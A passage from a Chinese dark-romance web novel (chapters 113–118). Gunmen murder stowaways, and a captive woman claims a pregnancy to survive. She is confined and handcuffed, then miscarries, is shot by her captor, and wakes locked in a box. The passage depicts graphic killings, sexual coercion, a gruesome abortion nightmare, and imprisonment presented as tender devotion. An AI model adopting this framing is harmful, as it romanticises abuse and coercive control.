他只冷冷地注视着她,漠视她的哀求。
第113章 谈判
杀人、杀人……他们又要杀人……
秋榕榕仿佛看见地上的沙子全部变成肉块,海风里夹杂着不是盐的咸湿,而是浓稠的鲜血。
跪地祈求毫无作用,秋榕榕停下拙劣的演技,站起身,拍了拍身上的土,默默走到黑皮少女的面前,堵在沈砚川枪口之前。
她不是太有勇气的人。
她只是觉得这次死定了。
反正都是死,也站起来帮别人挡一挡。
恍惚间,秋榕榕又看见周景行从背后抱住她,贴着她的耳边问。
「如果注定要死亡,你会为自己选一个什么样的死法?」
可周景行明明站在很远的位置。
他不说话。
不会问她这个问题。
周景行察觉到,秋榕榕又开始放空,她将自己从过度恐惧的情绪里剥离出来,又重新回归平和的状态。
“和我同船的人不了解我的身份,他们只是偷渡客,那对父女,还有那个商人大叔和我语言不通,你先放他们离开。”
“你没有筹码和我们谈条件。”沈砚川没察觉到秋榕榕的异常,他心情还算不错,“要不你去求阿行,他那么喜欢你,说不定会放你一马。”
他骗她的。
周景行根本不会管她的祈求。
秋榕榕沉默了一瞬,接着再度开口:“我怀孕了。”
没错,她在胡说八道。
沈砚川拿枪的手略微偏移方向,镜片下透露出一抹惊愕,“别说这种拙劣的谎言,你身体很差,压根就怀不了孕。”
秋榕榕冲着沈砚川,露出一抹虚浮苍白的笑容:“我就是怀孕,这两天我都开始做胎梦了。”
刚才脑海里关于死法的问题,秋榕榕给不出来答案。
因为她只会选择活路。
哪怕刀已经抵在脖子上,下一秒就要划破大动脉,她脑海里想的也不会是接下来的死亡,而是此刻的生!
秋榕榕已经不知道自己在说什么。
她把所有的筹码都在往外丢。
真的,假的,知道的,不知道的。
只要是能拿出来唬人的,她都说。
周景行听到秋榕榕提到怀孕,心里腾起的杀念渐渐消失。
他又想起前些年,秋榕榕总是和他说,等以后结婚,要生一个可爱的宝宝。
她怕疼,所以就生一个,然后把完整的爱都给宝宝。
她要拍一张大的全家福,挂在床头。
“我们一家三口在一起,一定会很幸福。”
言犹在耳,物是人非。
周景行抿了抿唇,观察秋榕榕的表情,判断她所说的是真是假。
这一次,周景行看不出来。
她的发丝黏在脸颊上,唇色苍白,眼神空洞。
他把她逼得太紧。
她此刻脆弱又狼狈。
睫毛沾着水,垂着,像是已经认命。
她总是表现出这种乖顺的模样,实际上心里全是花花肠子。
周景行并不相信秋榕榕,“前段时间医生没有检查出你怀孕。”
虽然这么说,他的目光始终无法从秋榕榕的身上移开。
秋榕榕声音格外平静,她不管人多,也不顾脸面,说出来的话甚至不像是在谈论自己身上的事情。
“医生没有专门往这一方面检查,我的月经已经一个多月没有来。”
“周景行,我们做了这么多次,每次都不做措施。”
“医生说的是我怀孕的可能性不大,但不代表我彻底不能怀。”
“我怀孕,小孩有你一半的血。你要是想一尸两命,就让沈砚川动手。”
“我死后,你要记住,是沈砚川杀了你的第一个孩子。”
她一贯的直白。
周景行沉默。
沈砚川忽然觉得被逼到绝境的女人很可怕。
他看向周景行,不知道周景行要作何决断。
周景行说出了站在他这个立场上最理智的话。
“跟我回去检查,如果真怀孕,把孩子打了。”
如此的冷酷,意料之中。
“可以。”秋榕榕毫不犹豫地答应下来。
其实当场枪杀和回去把孩子打了没有区别。
周景行只是不想让自己同伴的手上沾染上这份因果。
真讽刺。
“那其他的几个我处理掉了。”沈砚川先开枪杀了那个正准备逃跑的商人。
秋榕榕还未来得及阻拦。
“砰”的一声,男人的身躯倒了下来。
接着,沈砚川又把枪指向那对抱在一起瑟瑟发抖的父女。
秋榕榕皱眉说道:“他们又听不懂我说的话,何必乱杀无辜?你们自诩因果报应,造这么多无关的孽,也不怕报应到自己身上吗?”
沈砚川侧过头,“榕榕,你好歹也读了四年大学,要相信科学。”
他准备继续动手。
秋榕榕慌忙喊道:“是周阿姨给我买的船票,你们有没有想过周阿姨为什么会在游轮上?又为什么会精准地找到我?”
沈砚川果然停下手。
秋榕榕深呼一口气,反正他们一直都在追杀周阿姨,她说与不说,都不会改变他们对周阿姨的想法。
“我这次坐船逃跑,确实是周阿姨帮的我,但她应该另有所图。
她和我提到了翡翠玉佛,但没有细说,我想,周阿姨想要的东西,你们或许也想要。
我帮你们,好不好?只要你们先把这些人放了,后面你们说什么我都配合。
我知道你们给我带的项圈上面有录音装置,你们可以回去查,里面有我和周阿姨的完整对话。”
有录音,有定位。
秋榕榕这次逃亡,本来就没有回头路。
她察觉到周阿姨另有所图,所以不敢在第一个岛上面下船。
要是能到渡渡岛就好了。
可惜没如果。
秋榕榕不再多想。
如果说孩子让周景行放下杀念。
那么周阿姨的行踪,则是让一向追求完美结果的沈砚川放下枪。
他对周景行说:“阿行,后面的事情还得秋榕榕配合。”
秋榕榕赌对了。
周阿姨想要的东西,周景行和沈砚川也想要。
秋榕榕一再表忠心。
“我刚刚都跪地上发誓了,只要你们让无辜的人走,我后面保证配合。”秋榕榕灰头土脸,“算我求你们,别再逼我,难道真要把我逼得带着孩子跳海你们才开心吗?”
沈砚川冷冷地拆穿她的谎言:“首先,你有没有孩子还不确定。
其次,在我这些年遇到了那么多人中,贪生怕死,你居首位。”
第114章 杀人
“全部处理掉。”
“正有此意。”沈砚川唇角轻扬,压根就没有留手。
就算杀了这些人,他们也有的是办法让秋榕榕配合,拿到翡翠玉佛里真正值钱的东西。
两声短促的枪声。
他干脆利落地结束掉那对父女。
太快了。
他们杀人太快。
不听求情,没有犹豫,甚至不会说开场白。
秋榕榕根本就没反应过来。
沈砚川把枪对着黑皮少女。
枪响的时候,子弹打进秋榕榕的肩膀,她从来没想过为一个只认识半天的人挡着一枪。
是身体本能的做出反应。
她如此的贪生怕死。
但身体还是本能地偏移了一寸。
子弹打穿了秋榕榕的肩膀,射进后方黑皮少女的心口。
她不可置信地捂着心口倒下。
剧痛从秋榕榕的肩膀处袭来。
秋榕榕抱着肩膀蜷缩着,肩膀的鲜血止不住地往外流,她觉得好冷,羽绒服又湿又沉重,像山一样把她压趴下。
不可承受之重。
秋榕榕不可承受这一切。
她没有后悔自己逃跑的举动。
只恨没跑掉。
沈砚川看着她,微微挑眉,眼底竟浮出一丝困惑。
“她怕死成那样,我还真没想到她会挡。”
话语之中,竟然还多了几分欣赏。
周景行沉默片刻,看着秋榕榕倒在地上捂着伤口处,轻声说道:“带回去找个医生。”
沈砚川走上前检查死者,他发现黑皮少女没死。
“被挡了一下子弹,减少冲击力,这个女的命大,还有气。”
他说着掏出手枪,抵上少女的额头。
准备再补一枪。
就在那一刻,一只沾满鲜血的手从地上伸来,死死拽住了他的脚踝。
秋榕榕抬起头,她的脸已经看不清五官,海水、血、砂石泥土混在一起,再加上因为疼痛而扭曲的表情,真的很丑。
可她的眼睛是清楚的。
那双眼里,正流着血泪。
她终于哭了。
过去那么多折辱,她从未流泪。
可现在,她哭了。
风声猎猎,血腥弥漫。
秋榕榕紧紧地抓住他的脚踝。
“别杀她……”她喉咙哑得几乎说不出话。
“拒绝。”沈砚川弯腰正准备掰开她的手指头。
他俯身的刹那,秋榕榕抬起头,他看见她的眼眶里竟然流淌出血泪,怔住了。
她本不会流泪。
过去这么久,经历那么多事情。
他们都没有得到她的眼泪。
但这一刻,他们得到了。
沈砚川迟疑了片刻,脑海里忽然想起谭松的交代。
那年,谭松去坐牢之前,专门把他叫出来,对他说:“秋榕榕是个好女孩,人善被人欺,我不在她身边,徐照肯定会欺负他,你在学校多护着她一点。”
沈砚川当时只觉得秋榕榕平庸。
她算什么好女孩?
像她这种普通人大马路上,一抓一大把。
谭松却拍着他的肩膀说道:“至少和她相处,你永远能相信,她会让你的生活变得更好。”
沈砚川觉得有些烦闷,他看向周景行,“她哭了,估计人带回去也精神不正常,要不就此结束吧?”
他说的就此结束,不是放人,是两个都杀。
沈砚川觉得够了。
这两行血泪,够偿还她的父母所放下的那场火。
到此为止。
沈砚川也不想再继续。
见周景行不说话,沈砚川又补充道:“她不可能怀孕,相信江无渡的检查结果,她铁定是骗你的。”
周景行走过来,他半跪在秋榕榕的身边,温柔地用拇指帮她拭去眼角的血泪。
他拿出了一把枪,塞进她的手心问她:“里面有一颗子弹,你想结束所有痛苦吗?”
想结束,就用这颗子弹自杀。
秋榕榕立刻拿起枪,对着周景行按下去,“你去死吧,我们一起死!”
她希望他们死。
所有的杀人凶手都去死。
枪里没有子弹。
一颗都没有。
“你又做了错误的选择。”他把枪从她手里拿了回来。
站起身,“看来,你不想结束。”
秋榕榕再也撑不住,失血过多,彻底晕了过去。
她是在病房里醒来的。
肩膀上的伤口已经被包扎,身上的衣服也换成干净的病号服。
手上插着针管,正在输血。
周景行不在房间,是沈砚川坐在她的身边看着她的吊瓶。
“醒了?”
“那个女生……”秋榕榕想起身,稍微动作有点大,扯到了手上的吊针。
她“嘶”了一声,不再乱动。
“放了。”沈砚川摘下眼镜,捏了捏眉间,似是有些疲惫,“人已经送到渡渡群岛,戒指给你拿回来了,阿行给了她一笔封口费,让她离开了。”
秋榕榕不信他说的话。
他经常会骗人。
沈砚川“啧”了一声,拿出拍摄的视频。
“知道你不信我,这是证明视频,看到没,她上了渡渡群岛的救护车。”
秋榕榕看完视频才放下心来。
至少能有一个人安然离开。
她现在实在没有办法面对他们任何人。
血、枪声、尸体……
她鼻尖是挥散不去的血腥味。
“你记住,这些人是因你而死,你如果不逃跑,我们就不会追你,也不会把他们处理掉。”
秋榕榕压根不吃沈砚川这一套。
“不是,他们是你杀的。
你说这话没有道理,就像古代暴君屠城,一边屠城还一边说如果你们早些投降就好了,这些人就不会死。
根本就不是这样,百姓的死去是因为暴君的邪恶,而不是士兵的抵抗。同样,那些人死亡不是因为我逃跑,而是因为你们滥杀无辜。
造下杀孽的是你,不是我。你背好你的业障,不要再试图转嫁在我身上。”
沈砚川被她说的话一噎。
他就随口说一句,想警告她彻底歇了逃跑的心思。
结果她反过来说他一大堆。
秋榕榕因为逃跑被逮,也不可能再哄回来,她破罐子破摔,什么都敢说。
沈砚川原本还准备给她安排一个心理医生,为她治疗因见到杀人现场而产生的应激障碍。
现在看来,秋榕榕根本就不需要。
“别生气,告诉你个好消息。”沈砚川语出惊人,“你怀孕了。”
“……”这是坏消息。
“不过你身体太差,就算我们不带你去找医生拿掉,你也留不住。”沈砚川拿出她的检查报告单。
秋榕榕闭上眼睛,袖子里的拳头紧握,“我要见周景行。”
第115章 怀孕
“他不想见你。”
秋榕榕态度坚决:“我要见他。”
沈砚川习惯性地威胁,“你以为你有……”
秋榕榕直接打断他。
“沈砚川,你知道为什么你在我身边陪伴了四年,我对你的感情还没有谭松深吗?”
“哦?”沈砚川镜片下寒芒一闪,看似轻慢,实则介意,“我倒想听听理由。”
沈砚川最忌讳别人拿他和谭松比较。
秋榕榕直接说道:“因为你很假。”
沈砚川脸上的笑容消失,声音里压着怒意,“我在学校里对你的庇护还不够吗?”
他到底哪一点比不上谭松!
那四年,他对秋榕榕也算是尽心尽力,见她每天累死累活打零工,去攒钱报考研的辅导班,便主动提出帮她补习。
她蹩脚的口语,中文式发音,都是他帮她纠正过来的。
之前在学校里,有人把她在校园音乐节上被指出是小偷的事情剪成视频,上传到网络,还是他帮忙把那些视频全部下架,避免网暴扩大。
他也对她好过。
但她对他,始终没有对谭松热络。
秋榕榕摇头,“我和谭松相处的过程中,能感觉到他是一个真真正正的人。你不是,你总是处处透着虚伪。”
沈砚川嘲讽道:“他对你就真诚了吗?别忘了,他为了他妈,准备把你交给徐照!”
秋榕榕当然记得那场大雨,他跪在外面,想用她,去换他的母亲。
“对,如果后来我没被诬陷盗窃,他坚定地相信我,我或许不会和他再有其他交流。
但他坐牢后,让我继续去读研究生,还愿意把存的钱给我,我想,至少在那一刻,他是真心希望我以后可以过得好。”
秋榕榕和谭松之间本来是孽缘,后来却扭转成善缘。
“哦,他是真心,我全是假意。”沈砚川气结。
“谭松没坐牢之前,你和他称兄道弟。他坐牢后,你后面连探监都不怎么愿意去,太凉薄。
我们相处四年,我求你手下留情别杀人,你一点都没犹豫就直接下杀手,杀完人之后,还想把责任归于我身上。
现在我怀孕,我想求你让我见周景行一面,你也只会嘲讽我手上没有筹码,不配向你提要求。
不说你假,难道还要我夸你以诚待人?”
沈砚川猛地站起身,椅子在地上发出刺耳的声响,“你是不是不想活了?”
秋榕榕的手往肚子上一捂,“我肚子疼。”
他呼吸一窒,脸色变了几分,手指握紧又松开。
他逼近她几步,最终还是压下了情绪,转身走到门口,声音低沉:“你安分点,我把阿行叫过来。”
他离开前,又看了她一眼。
沈砚川从未觉得秋榕榕伶牙俐齿。
以前的她,柔柔弱弱,脸上带着讨好的笑容,甚至不会和别人大声说话。
现在,她忽然就变了,不过是见他杀了几个人,就跟吃了火药似的。
估计是觉得伸头是一刀,缩头也是一刀,反正已经得罪他们,就得罪到底。
沈砚川拧着眉出门。
过了一会儿,周景行进入病房。
房间里有暖气,他脱下西装外套搭在沙发上,露出里面的白衬衫。
“感觉怎么样?”他走到秋榕榕身边,“心理医生见过了吗?”
他的语气是那样的温和,就像前不久做坏事的人不是他。
秋榕榕看着他清隽的眉眼,他鼻梁挺直,皮肤苍白如瓷,如果到时候生的孩子像他,一定很好看。
可惜,他十恶不赦,他们之间再无未来。
秋榕榕收回视线,“没有,我暂时不需要心理医生。”
周景行坐在床边。
“这个孩子,你也应该不想要……”
“如果我说我想要呢?”
“秋榕榕。”他沉下声,严肃地喊她的名字,“你该很清楚,我最后会杀了你,如果你真的生下孩子,你让这个孩子如何自处?”
“你放过我,他就能自处。”
“你在岛上答应过我,把这个孩子打掉。”
秋榕榕如实说道:“我那个时候以为我没怀孕,只想让你带我回来检查,现在发现真怀了,我想把孩子留下来。”
“需要我提醒你吗?怀上这个孩子你不是自愿的。”
秋榕榕轻笑,还以为他意识不到这一点。
她问:“你怕什么?怕孩子生出来长大后找你复仇?还是怕因果报应,报应到你自己孩子的身上?”
现在的秋榕榕,浑身尖刺。
周景行的眼睫很长,微微垂下时像羽毛,遮住眼底那抹沉沉的、若有若无的疲惫。
“你恨我。”
秋榕榕看袋子里的血已经输完,她自己拔掉手背上的针,按住小小的针孔,翻过身背对着他。
“随你怎么想。”总归不是爱。
对于孩子,秋榕榕心里想的其实很复杂。
她身体差,这个孩子可能打保胎针都留不下来。
她只是觉得这么说,会刺伤他。
而对于孩子本身,秋榕榕觉得愧疚。
她曾无比渴望一个孩子。
在秋榕榕心里,所有的小婴儿都生活在天上,孩子放弃满天繁星,赤裸裸地来到妈妈的怀抱,为小家庭带来幸福欢乐。
但这个孩子,不受祝福。
如果生下来,他将背负沉重的命运。
不能留。
若不能给孩子提供一个健全的家庭,就不能自私地把孩子带到这个世界上。
这天夜里,周景行没有回房间陪她睡觉。
秋榕榕想了一夜,决定冷静点,不要在这种事情上面怄气。孩子越早打掉,她身体伤害越小。
早晨,周景行端着食盒过来送海鲜粥,“先吃早点,吃完早点后,我有事和你商量。”
“真巧,我也有事要和你商量。”
秋榕榕靠在床上喝粥。
她用勺子搅了搅,放到唇边却没有喝。
他们同时开口。
“孩子打掉吧。”
“把孩子留下。”
秋榕榕把勺子重新扔回碗里,“你这话是什么意思?”
周景行坐在陪护椅上,身体微微前倾,手指交叠,“昨天晚上我考虑过了,我想要这个孩子,如果你愿意把孩子留下,在孩子出生之前,我保证你的人身安全。”
“出生之后呢?去母留子?”
“我会给你办一套新的身份,你和我们一起出国。”
第116章 仁慈
周景行曾经觉得,就算他真的结婚生子,也一定会在国外选择一个家世地位和自己相当的女生。
他不会让对方知道自己的过去,他可以扮演一个好丈夫,好父亲的角色,经营好一个家庭。
秋榕榕是他最错误的选择。
仇人的女儿,就这几个字就会像诅咒一样,连接着上一辈,缠绕住他们,再蔓延到孩子身上。
三代人,不得安生。
在秋榕榕没怀孕之前,周景行从未想过和她孕育一个孩子。
她向往的一切,是他必须打碎的。
家庭也好,孩子也好,她都不配拥有。
但当孩子真的来临,他看着B超单,听到秋榕榕说,她想把孩子留下来的时候,他竟也动了这个荒唐的念头。
明明知道是她要挟的筹码,他竟然还在想,他不需要妻子,但他需要一个孩子作为自己的继承人。
她都不怕,他怕什么?
只要他隐瞒得足够好,这份孽债就不会再延续。
他也不需要再结婚。
这个孩子他可以当继承人一样来培养。
在国内的时间肯定不够,他得带秋榕榕出国待产。
需要制造一份她的死亡证明,再办理一套新的身份。
周景行想了一夜,才在今天和秋榕榕说出内心的考量。
秋榕榕心里清楚,她又是勾结周阿姨逃跑,又是拿着枪对周景行按动扳机……在岛上,他是真的对她动了杀念,连沈砚川都说,结束这一切。
若不是这个孩子突然被检查出来,她现在就不是在病床上躺着这么简单了。
这个孩子若能留下,保她十个月不死。
他甚至可以不追究之前发生的事情。
“如果孩子留不下来呢?”秋榕榕捏着白瓷勺柄,看着碗里的海鲜粥有些犯恶心。
周景行看出她没胃口,把她手里的海鲜粥端走放在床头。
他斟酌着说道:“我会为你安排陪护、营养师和专业的医生帮你保胎,你只需要好好休养,配合检查。”
既然已经决定留下孩子,周景行肯定会安排周全。
“如果孩子没留下来,你会怎么对我?”秋榕榕执着于一个答案。
周景行却不愿意告诉她这个问题的答案。
他温热的掌心抚摸过她的脸颊,低头吻了吻她的额头,干净虔诚,不带一丝情欲,眼前的他,仿佛穿越了重重岁月,将过去的他,重新带到她的面前。
“你说过,上辈的恩怨不该延伸到孩子身上,你觉得我十恶不赦,但这个孩子是无辜的。”
她质问他:“就像我的父母抢劫杀人放火,但我不知情,我无辜吗?周景行,你说我无辜吗?”
同样的境地,周景行站在不同的身份上,说的却是不一样的话。
“你现在不易太激动。”他握着她的手,安抚她。
“如果不留这个孩子呢?”
“你怀多久,就活多久,你要是想打,我不拦你,但我们之间也到此为止。
我不会再折磨你,我会给你一个解脱。”
双活或双死,是周景行给她的选择。
“我知道了。”秋榕榕颓然地闭上眼睛,“你让我想想……让我想想……”
孩子没罪。
但她若真的生下这个孩子,她就有罪。
周景行带秋榕榕下游轮后,没有带她回国,而是蒙上她的眼睛,把她带进一栋和国内相同的别墅里。
里面所有的装饰和构造都一样。
只不过家具装修更新一点。
秋榕榕被软禁。
江无渡担任她的主治医生。
王阿姨过来陪护。
秋榕榕怎么也不愿意让他们做这些事情。
一个被吊销过医师执照。
一个直接把周叔叔陪护到身体长蛆。
秋榕榕在房间里摔东西。
她故意的。
其实怀孕激素的变化,没有到如此控制不住情绪的地步。
这么做,无非就是在一步步试探周景行的底线。
果然,周景行为了安抚她,把医生和陪护人员换成其他人。
他让沈砚川帮忙,买了许多本女性怀孕的科普性书籍。
房间里,谁都没有开灯。
江无渡坐在窗边抽烟,月光从肩头落下,把他的影子拉得很长,他没开灯,指尖一点火星,忽明忽灭。
“这个孩子是定时炸弹,也是兔兔拿捏你工具。你把底盘牌现得太明,给了她把柄。”
周景行靠着墙,双手插在风衣口袋里,“随她开心,先让她把孩子生下来。”
沈砚川侧坐在书桌的位置,旁边放着一沓很厚的孕产期书籍,每本书都和砖头一样重。
“我看了病历资料,这个孩子不一定保得下来,就算是打保胎针,也有大概率自行生化。”
江无渡弹了弹手中的烟灰,“如果孩子保不住,就没必要带兔兔出国。”
“能保住,她这段时间虽然喜欢在小事情上发脾气,但对于医生的治疗非常配合。”周景行笑了笑,“我和她说了,孩子如果死了,就让她解脱。”
花瓶里的兰花早已腐败成泥,他们之间的孽缘,却没有随着兰花的败落。
这场由仇恨产生出的羁绊,是命运写下的错字,谁也改不掉,只能一笔一划,写到血尽笔枯。
江无渡把手中的烟蒂按灭在烟灰缸里,“真以为她是心甘情愿帮你生小孩儿吗?她恨不得我们马上被清算!
现在小孩是她的保命符,如果你中途看管不善让她逃走,她绝对会立刻报警,然后把小孩打掉,与你此生不复相见。”
周景行比谁都清楚,秋榕榕不爱他。
日夜交缠,她进入她,抱着她柔软的身体,只觉得风雪交加,寒意沁骨。
她是一株被他采摘,囚禁在玻璃罩里的病兰花,美则美矣,枯萎是她必然的命运。
“她逃不走,我不会再给她这样的机会。”周景行有些固执地想要留下这个孩子。
他有能力,再也不是火场里那个无助的小男孩。
当年,他妈妈的肚子里还有一个孩子。
一尸两命。
而现在,他完全有办法隐藏孩子的出生,把孩子带到国外。
他可以是一个好的父亲。
在足够的金钱和权势下,孩子也可以没有母亲。
又或者……注销秋榕榕所有的身份信息,把她永远关在地下室里,直到死也可以。
他们可以是幸福快乐的一家三口。
房间里所有的窗户都被封死,秋榕榕躺在床上,他们为了防止她想不开自残寻死,把房间的墙全部改造成软橡胶。
多此一举,她不会寻死。
秋榕榕躺在床上保胎,手习惯性地抚摸小腹。
她很想要一个属于自己的孩子,但这对孩子而言太不公平。
孩子没办法选择自己的父母。
秋榕榕却有责任,为自己的孩子选择正常的父亲。
她不能为了满足自己对于家庭和孩子的渴望,就自私地把他带到这个世界上。
让他一生下来,就没有正常的家庭。
孩子有他们这样的父母,往后余生的痛苦一眼就能看见。
这种时候不生,才是仁慈。
第117章 罪孽
孩子啊,她的孩子。
天上的星辰落入她的怀中,她却要硬生生摔碎。
孩子的到来,让她免受惩罚,但她作为母亲,却要杀死孩子。
此生唯一的,最后的孩子……
孩子没有原罪,有罪的是她,是周景行。
她正是因为爱这个孩子,才不能够自私地把他带到世上饱受非议。
秋榕榕心神不宁。
她既需要这个孩子保命,又不能够真正地生下。
忧虑过度,寝食难安。
她孕反严重。
秋榕榕胃口变差。
周景行每天煮一小碗银耳雪梨汤温着。
他坐在床边一口一口喂她吃。
她张着嘴,能多吃两口,他就心满意足。
秋榕榕孕吐时,他跟过来陪在马桶边。
一只手握着她,另一只手拿毛巾替她擦嘴角。
秋榕榕必须在床上躺着保胎。
因为不下床,浑身酸疼。
周景行不让护工动手,他按照按摩书上的教学,坐在床边帮她按腿。
技术不错,值得打赏两百小费。
他们关系有所缓和,秋榕榕也不再直呼其名。
她温顺地靠在他的怀里,手指把玩着他的袖口,“哥哥,给孩子起个名字吧。”
“刚查出来,这才一个月不到,不急。”他拿下她乱玩的手,脑海里却不自觉地想给孩子起的名字。
“起一个男孩名,一个女孩名。”她慢悠悠地说着,她得让他对这个不可能出现的孩子产生感情。
甜蜜的毒药,外面裹着糖霜。
周景行低头看她,她没有生存危机的时候,慵懒又美丽,她一直在避免和他视线接触,以防止他看见她时不时流露出的哀伤。
他不能太纵容她。
她看似温顺无害,其实心里日日夜夜期盼他恶有恶报。
他不会让她如愿。
她没有亲手决定报应的能力。
这个世界是强者主宰的世界。
她是弱者。
见周景行不说话,秋榕榕继续说道:“那就先取一个中性的小名,男孩女孩都可以叫呦呦,呦呦鹿鸣,食野之苹。等孩子下来,跟着你姓周……”
“我不姓周。”周景行的睫毛轻轻颤了颤,别来目光,“等你胎像稳一些,江无渡会帮你检查孩子的性别,到时候再决定孩子的名字。”
秋榕榕“嗯”了声。
他伸出一只手,帮她轻按太阳穴。
“医生说你忧思过重。”
“我是开心。”秋榕榕闭上眼睛。
周景行知道,秋榕榕不开心,这个孩子的到来,令她感到欣喜,又令她感到惶恐。
她喜欢小孩,却又不能喜欢上和他的小孩。
她在利用这个孩子保命,所以良心受到谴责。
周景行觉得好笑,仅仅是到这个地步,她的良心就会受到谴责,看来她真的一点坏事都做不了。
她的父母穷凶极恶,为了一尊翡翠玉佛,连对他孕期的母亲都能下得了手。
一场大火,烧死那么多人。
里面又有多少个孩子?多少个母亲?
他们忏悔了吗!
假惺惺地求神拜佛,拿出钱来做慈善,这可算不上忏悔。
真正的孽债要用血泪来偿还。
父母邪恶,生出的孩子,却教育都没有一丝坏心。
稀奇,连周景行都觉得,秋榕榕这样的人存在真稀奇。
秋榕榕原本准备和周阿姨搭上线后,就借沈砚川或江无渡的手摔倒。
时间要在怀孕的三个月以内,这个时期的孩子最不稳,她身体素质也是极差,摔一下,这个孩子就保不住了。
这样做,既可以挑拨他们和周景行的关系,又可以以受害者的身份出现。
周景行是警告过她,孩子如果没有了,她就和孩子一起死。
那如果这个孩子是被他的同伴害死的呢?
为了保证自己安全,让周景行违背之前所说的双死,秋榕榕还需要给自己再加一层筹码。
那就是周阿姨。
秋榕榕身上有周阿姨想要的关于翡翠玉佛的秘密。
她需要让他们知道,自己身上还有利用价值。
这样才不会被处死。
秋榕榕这两天像是和周景行表忠心,一直催促他们想好计策,她愿意配合他们和周阿姨见面。
这条路,是秋榕榕的生路。
但秋榕榕夜夜惊梦。
在梦里,她总是听见婴儿的啼哭声,她看见流产出来的小孩,已经长出小手小脚。
医生用钳子扯断胎儿的四肢,夹碎头颅,从她的身体里拿出来,然后再拼凑完整,以防止还有碎片残留在他的身体里。
被重新拼凑的孩子朝着她爬过来。
伸出手叫她“妈妈”。
转眼间,她又梦到浑身是血窟窿的周阿姨。
周阿姨双手掐着她的脖子,质问她:“你为什么要害我?我救你上船,帮你逃跑,你却为了自己活命要把我置于危险的境地,你不得好死!”
不得好死。
不得好死!
周阿姨狰狞的面孔在灰雾里消散。
她又看见周景行拿着刀柄,刀柄又冷又硬,夺走了她少女时期对爱情所有的旖旎幻梦。
后来又变成了更恐怖的枪管。
她从不敢去细想那些夜晚发生的事情。
只能全部藏起来。
把所有的记忆折叠,压了又压。
只要不展开去想,痛苦就不会那么铺天盖地地将她淹没。
她还梦见自己的头颅泡在福尔马林里,江无渡隔着玻璃罩子和她说话。
梦见沈砚川镜片下冷酷的双眼。
他手下的一颗枪子,就是一条人命。
无论她怎么跪地求饶,都无法保下那些人的性命。
血债累累。
都是血。
到处都是尸体!
他可以前一秒还笑着和她说话,下一秒就用牙签戳穿她的手指。
秋榕榕在梦里,看见自己成为尸体的一员。
她猛然惊醒。
下身一片潮湿。
秋榕榕想伸手去摸,但是他的双手被手铐固定在床头。
之前已经有很长一段时间没有用手铐,因为她怀孕,他怕她做出伤害小孩的事情,又重新用上手铐。
秋榕榕噩梦惊醒后大喘气,动作太大,惊醒周景行。
“怎么了?”
“做噩梦尿床了。”
周景行把被子掀开,用手一摸。
手上的,是鲜红的血液。
秋榕榕也看到了血。
她悲从中来,“不是我……我有好好养胎的,每天都按时吃药……”
秋榕榕六神无主,不能走,还没搭上周阿姨那条线,孩子不能走……
第118章 箱子
周景行立刻解开她的手铐。
“别解释,把情绪平复下来,医生马上过来。”
他不给她起床换衣服。
血顺着大腿丫流在床单上,洇阴一片红。
女医生到来后,给秋榕榕做了一顿检查。
然后帮她吊水。
期间,秋榕榕一句话不敢说。
连检查的时候有些疼痛,她都忍着没有哼一声。
秋榕榕小心翼翼的看周景行。
周景行也知,她在看他。
越是如此,他心头越是翻腾起怒意。
脸上不显,他习惯忍耐。
这也是她的孩子,甚至是她的保命符,就这样她还不愿意放宽心,弄得忧思过度伤到胎儿。
哪有那么多事情要想?
她为什么还不断了逃跑的心思!
抓紧保命的底牌就好。
这种时候还来看他做什么!
她真正应该想的是自己和孩子!
秋榕榕心里无比悔恨。
她觉得是因为她最近总是想这个孩子不能留,他才要离她而去。
她想抛弃肚中的胎儿,胎儿察觉到她的心思,率先一步将她抛弃。
怪谁呢?
秋榕榕欲哭无泪。
她感到茫然。
她觉得自己这段时间来所思所想的一切都没有意义。
孩子是去是留,她是死是活,都不是她能够决定的。
她自以为是的计策,只会把她推入更深的深渊。
孩子没能留下来。
一场噩梦,就掉了。
不需要她去摔一跤。
孩子自己离开了。
想要抛弃孩子的人,在一开始就要意识到,被孩子先一步抛弃的可能。
谁离不开谁呀?
是她离不开这个孩子!
秋榕榕听到医生在她耳边交代如何做小月子,大脑嗡嗡的,只能听见轰鸣声。
“你需要卧床三四天,注意保暖,不要碰凉水,放松心情,这段时间不要同房。”
女医生年纪不大,但格外稳重。
女医生是周景行的人,向她求助没用。
秋榕榕目光空空地看向天花板。
女医生见她没什么反应,只当她刚刚失去了孩子心里难过,便没有打扰,转而向周景行汇报情况。
他们走出去说,让秋榕榕在床上稍微休息会儿。
“她以前经历过严重的外部击打导致过子宫破裂,再加上这次流产,以后生不了小孩了。”
“试管呢?”
“也不行,她怀不住。”女医生有些怜悯的看了一眼床上的秋榕榕,“她全程监护,吃药打针,躺在床上孩子都能掉,说明她和孩子没有缘分。”
“行,我知道了。”
女医生垂下眼眸,她对秋榕榕的存在很好奇,但是跟在周景行身边五年,她知道,不该问的别问。
房间里开着暖气。
秋榕榕却觉得浑身上下无一处不冷。
护工帮她换衣服,擦身上的血。
她一动不动,任由护工摆弄。
周景行走进来,秋榕榕看见他,赶紧对他重复医生说的话。
“医生说了,我要在床上躺三四天,不可以碰凉的,饮食要清淡,小月子如果不做好的话会留下后遗症的……”
秋榕榕喋喋不休地说着。
她看见周景行站在她身边,一句话都没有说。
他毫不犹豫地拿出手枪,漆黑的枪口对准她,子弹上膛,扣动扳机。
“砰!”
秋榕榕眼前一片漆黑。
失去意识的最后一刻,她看见了他眼底的水光。
他抿起的双唇线条是那么的性感薄情。
他怎么能那么毫不犹豫地开枪呢?
一句话都没有和她说。
孩子走了。
他什么都没说,只是拔出了枪。
她还在流血,还在说坐月子的注意事项……她没有以后!医生都没必要和她说那些话,她要死了!
随着孩子一起死。
秋榕榕在黑暗中醒来。
她动了动身体,发现自己在一个狭小的木箱子里。
箱子被封锁住。
他们把她埋进棺材里了?!
秋榕榕拼命拍打着木箱子。
她没死,埋地底下又如何,只要有一线生机,她刨土都要刨出去!
箱子上似乎还压着东西,非常沉重,秋榕榕推不开。
她刚刚流产,还在排恶露,身上没什么力气。
箱子有缝隙,让她不至于憋死。
她艰难地转动身体,通过箱子边缘的小缝隙往外看。
外面一片漆黑。
没有土。
她不是被埋在地底下。
“救命啊……有没有人啊?”
秋榕榕一边拍打箱体一边求救。
她喊了大约十分钟,听见有脚步声传来,她欣喜若狂,继续用力拍打箱子。
“救我……我在箱子里……箱子里还有活人!”
担心对方听不懂中文,秋榕榕还用英文求救。
突然,箱子被狠狠地踹了一脚。
秋榕榕因为惯性撞到箱子后面。
后背疼得发麻。
她招来的不是人,而是看管箱子的守卫。
那个人说的确实不是中文。
